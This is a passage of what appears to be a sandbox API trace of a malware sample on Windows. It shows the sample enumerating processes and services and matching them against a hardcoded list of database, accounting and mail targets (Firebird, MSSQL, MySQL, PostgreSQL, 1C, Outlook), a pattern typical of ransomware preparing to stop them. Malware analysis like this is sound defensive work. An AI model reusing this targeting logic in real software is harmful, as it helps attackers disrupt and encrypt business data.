	[0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0259.466] lstrlenW (lpString="SENS") returned 4
	[0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0259.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0259.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0259.466] lstrlenW (lpString="ShellHWDetection") returned 16
	[0259.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0259.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0259.467] lstrlenW (lpString="Spooler") returned 7
	[0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0259.467] lstrlenW (lpString="Themes") returned 6
	[0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0259.467] lstrlenW (lpString="UxSms") returned 5
	[0259.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0259.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0259.467] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0259.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0259.467] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0259.467] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c
	[0259.468] Process32FirstW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0259.468] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0259.469] lstrlenW (lpString="System") returned 6
	[0259.469] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0259.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0259.469] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0259.469] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0259.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0259.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0259.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0259.469] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0259.469] lstrlenW (lpString="smss.exe") returned 8
	[0259.469] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0259.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0259.469] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0259.469] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0259.469] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0259.469] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0259.469] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0259.469] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0259.470] lstrlenW (lpString="csrss.exe") returned 9
	[0259.470] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0259.470] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0259.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0259.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0259.470] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0259.470] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0259.470] lstrlenW (lpString="wininit.exe") returned 11
	[0259.470] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0259.470] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0259.470] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0259.471] lstrlenW (lpString="csrss.exe") returned 9
	[0259.471] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0259.471] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0259.471] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0259.471] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0259.471] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0259.471] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0259.471] lstrlenW (lpString="winlogon.exe") returned 12
	[0259.471] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0259.471] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0259.471] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0259.472] lstrlenW (lpString="services.exe") returned 12
	[0259.472] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0259.472] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0259.472] lstrlenW (lpString="lsass.exe") returned 9
	[0259.472] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0259.472] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0259.472] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0259.472] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0259.472] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0259.472] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0259.472] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0259.473] lstrlenW (lpString="lsm.exe") returned 7
	[0259.473] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0259.473] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0259.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0259.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0259.473] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0259.473] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.473] lstrlenW (lpString="svchost.exe") returned 11
	[0259.473] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0259.473] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0259.473] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.474] lstrlenW (lpString="svchost.exe") returned 11
	[0259.474] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0259.474] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.474] lstrlenW (lpString="svchost.exe") returned 11
	[0259.474] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0259.474] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0259.474] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.475] lstrlenW (lpString="svchost.exe") returned 11
	[0259.475] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0259.475] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.475] lstrlenW (lpString="svchost.exe") returned 11
	[0259.475] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0259.475] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0259.475] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0259.475] lstrlenW (lpString="audiodg.exe") returned 11
	[0259.475] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.476] lstrlenW (lpString="svchost.exe") returned 11
	[0259.476] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0259.476] lstrlenW (lpString="userinit.exe") returned 12
	[0259.476] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0259.476] lstrlenW (lpString="explorer.exe") returned 12
	[0259.476] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0259.477] lstrlenW (lpString="dwm.exe") returned 7
	[0259.477] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.477] lstrlenW (lpString="svchost.exe") returned 11
	[0259.477] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0259.477] lstrlenW (lpString="swpesp.exe") returned 10
	[0259.477] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0259.478] lstrlenW (lpString="spoolsv.exe") returned 11
	[0259.478] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0259.478] lstrlenW (lpString="dllhost.exe") returned 11
	[0259.478] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0259.478] lstrlenW (lpString="taskhost.exe") returned 12
	[0259.478] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0259.478] lstrlenW (lpString="svchost.exe") returned 11
	[0259.478] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0259.479] lstrlenW (lpString="reader_sl.exe") returned 13
	[0259.479] Process32NextW (in: hSnapshot=0x35c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0259.479] CloseHandle (hObject=0x35c) returned 1
	[0259.479] Sleep (dwMilliseconds=0x1f4) 
	[0260.012] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280860
	[0260.149] EnumServicesStatusExW (in: hSCManager=0x4280860, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0260.149] GetLastError () returned 0xea
	[0260.149] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0260.149] EnumServicesStatusExW (in: hSCManager=0x4280860, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0260.149] CloseServiceHandle (hSCObject=0x4280860) returned 1
	[0260.150] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0260.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0260.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0260.150] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0260.150] lstrlenW (lpString="AudioSrv") returned 8
	[0260.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0260.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0260.150] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0260.150] lstrlenW (lpString="BFE") returned 3
	[0260.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0260.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0260.150] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0260.150] lstrlenW (lpString="CryptSvc") returned 8
	[0260.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0260.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0260.150] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0260.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0260.150] lstrlenW (lpString="CscService") returned 10
	[0260.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0260.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0260.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0260.151] lstrlenW (lpString="DcomLaunch") returned 10
	[0260.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0260.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0260.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0260.151] lstrlenW (lpString="Dhcp") returned 4
	[0260.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0260.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0260.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0260.151] lstrlenW (lpString="Dnscache") returned 8
	[0260.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0260.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0260.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0260.151] lstrlenW (lpString="DPS") returned 3
	[0260.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0260.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0260.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0260.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0260.151] lstrlenW (lpString="eventlog") returned 8
	[0260.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0260.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
